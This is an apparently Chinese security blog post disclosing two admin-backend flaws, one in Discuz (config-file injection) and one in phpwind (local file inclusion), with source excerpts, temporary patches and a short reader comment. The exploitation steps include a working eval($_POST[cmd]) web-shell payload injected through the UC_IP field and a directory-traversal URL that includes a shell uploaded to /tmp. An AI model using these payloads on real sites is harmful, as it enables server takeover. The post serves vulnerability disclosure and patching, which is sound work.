很多人有了,流传出来了,然后发出来。现在的漏洞,如果主动公布的,肯定是“无鸡肋不公布”,否则肯定是藏着,除非别人公布了。DZ的鸡肋在于需要创建者的权限(创建者的密码一般比较难搞),pw的鸡肋在于需要截断(或者linux旁注写一个shell到tmp下)。
一、discuz后台settings.inc.php中写shell漏洞:
漏洞详情:
if($operation == ”uc” && is_writeable(”./config.inc.php”) && $isfounder) {
$ucdbpassnew = $settingsnew[''uc''][''dbpass''] == ”********” ? UC_DBPW : $settingsnew[''uc''][''dbpass''];
if($settingsnew[''uc''][''connect'']) {
$uc_dblink = @mysql_connect($settingsnew[''uc''][''dbhost''], $settingsnew[''uc''][''dbuser''], $ucdbpassnew, 1);
if(!$uc_dblink) {
cpmsg(”uc_database_connect_error”, ””, ”error”);
} else {
mysql_close($uc_dblink);
}
}
$fp = fopen(”./config.inc.php”, ”r”);
$configfile = fread($fp, filesize(”./config.inc.php”));
$configfile = trim($configfile);
$configfile = substr($configfile, -2) == ”?>” ? substr($configfile, 0, -2) : $configfile;
fclose($fp);
$connect = ””;
if($settingsnew[''uc''][''connect'']) {
require ”./config.inc.php”;
$connect = ”mysql”;
$samelink = ($dbhost == $settingsnew[''uc''][''dbhost''] && $dbuser == $settingsnew[''uc''][''dbuser''] && $dbpw == $ucdbpassnew);
$samecharset = !($dbcharset == ”gbk” && UC_DBCHARSET == ”latin1” || $dbcharset == ”latin1” && UC_DBCHARSET == ”gbk”);
$configfile = insertconfig($configfile, “/define\(”UC_DBHOST”,\s*”.*?”\);/i”, “define(”UC_DBHOST”, ””.$settingsnew[''uc''][''dbhost''].””);”);//正则表示从”到”)中的被替换,而”)可以被任意提交,from oldjun.com
$configfile = insertconfig($configfile, “/define\(”UC_DBUSER”,\s*”.*?”\);/i”, “define(”UC_DBUSER”, ””.$settingsnew[''uc''][''dbuser''].””);”);
$configfile = insertconfig($configfile, “/define\(”UC_DBPW”,\s*”.*?”\);/i”, “define(”UC_DBPW”, ””.$ucdbpassnew.””);”);
$configfile = insertconfig($configfile, “/define\(”UC_DBNAME”,\s*”.*?”\);/i”, “define(”UC_DBNAME”, ””.$settingsnew[''uc''][''dbname''].””);”);
$configfile = insertconfig($configfile, “/define\(”UC_DBTABLEPRE”,\s*”.*?”\);/i”, “define(”UC_DBTABLEPRE”, ”`”.$settingsnew[''uc''][''dbname''].”`.”.$settingsnew[''uc''][''dbtablepre''].””);”);
//$configfile = insertconfig($configfile, “/define\(”UC_LINK”,\s*”?.*?”?\);/i”, “define(”UC_LINK”, “.($samelink && $samecharset ? ”TRUE” : ”FALSE”).”);”);
}
$configfile = insertconfig($configfile, “/define\(”UC_CONNECT”,\s*”.*?”\);/i”, “define(”UC_CONNECT”, ”$connect”);”);
$configfile = insertconfig($configfile, “/define\(”UC_KEY”,\s*”.*?”\);/i”, “define(”UC_KEY”, ””.$settingsnew[''uc''][''key''].””);”);
$configfile = insertconfig($configfile, “/define\(”UC_API”,\s*”.*?”\);/i”, “define(”UC_API”, ””.$settingsnew[''uc''][''api''].””);”);
$configfile = insertconfig($configfile, “/define\(”UC_IP”,\s*”.*?”\);/i”, “define(”UC_IP”, ””.$settingsnew[''uc''][''ip''].””);”);
$configfile = insertconfig($configfile, “/define\(”UC_APPID”,\s*”?.*?”?\);/i”, “define(”UC_APPID”, ””.$settingsnew[''uc''][''appid''].””);”);
$fp = fopen(”./config.inc.php”, ”w”);
if(!($fp = @fopen(”./config.inc.php”, ”w”))) {
cpmsg(”uc_config_write_error”, ””, ”error”);
}
@fwrite($fp, trim($configfile));
@fclose($fp);
}
settings.inc.php对提交的数据缺乏有效过滤,导致可以写入”)污染配置文件的数据,而insertconfig函数的正则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件。
function insertconfig($s, $find, $replace) {
if(preg_match($find, $s)) {
$s = preg_replace($find, $replace, $s);//正则匹配替换数据
} else {
$s .= “\r\n”.$replace;
}
return $s;
}
漏洞测试:
步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx”);eval($_POST[cmd])?>提交;
步骤二:UC_IP随便输入aaa,正则匹配只匹配到了”),于是自动把分号前的闭合了。
临时补丁:
在if($operation == ”uc” && is_writeable(”./config.inc.php”) && $isfounder) {下添加:
foreach($settingsnew[''uc''] as $key => $value){
$settingsnew[''uc''][$key]=str_replace(”)”,””,$value);
}
二、phpwind后台本地包含漏洞:
漏洞详情:
文件:hack\rate\admin.php
源码:
!function_exists(''readover'') && exit(''Forbidden'');
define ( "H_R", R_P . "hack/rate/" );
define ( "L_R", R_P . "lib/" );
InitGP ( array (''ajax'' ) );
$action = strtolower ( ($job) ? $job : "admin" );
$filepath = H_R . "action/" . $action . "Action.php";
(! file_exists ( $filepath )) && exit ();
if ($job != "ajax") {
require H_R . ''/template/layout.php'';
} else {
require_once $filepath;
}
?>
再看看hack\rate\template\layout.php:
!function_exists(''readover'') && exit(''Forbidden'');
include_once PrintEot ( ''left'' );
print <<
EOT;
require_once $filepath;
include_once PrintEot ( ”adminbottom” );
?>
$job可以自定义,触发本地包含,只不过addslashes了,因此不能通过%00截断;但可以通过若干///////截断,或者直接在tmp文件夹下写个shell来包含。具体不多说了,利用办法:
漏洞测试:
先在tmp下上传一个shell,名为Action.php
然后访问:http://127.0.0.1/pw/admin.php?adminjob=hack&hackset=rate&typeid=100&job=../../../../../../tmp/
临时补丁:
$filepath = H_R . “action/” . $action . “Action.php”;
替换为:
$filepath = Pcv(H_R . “action/” . $action . “Action.php”);






最新评论
看看了 貌似很实用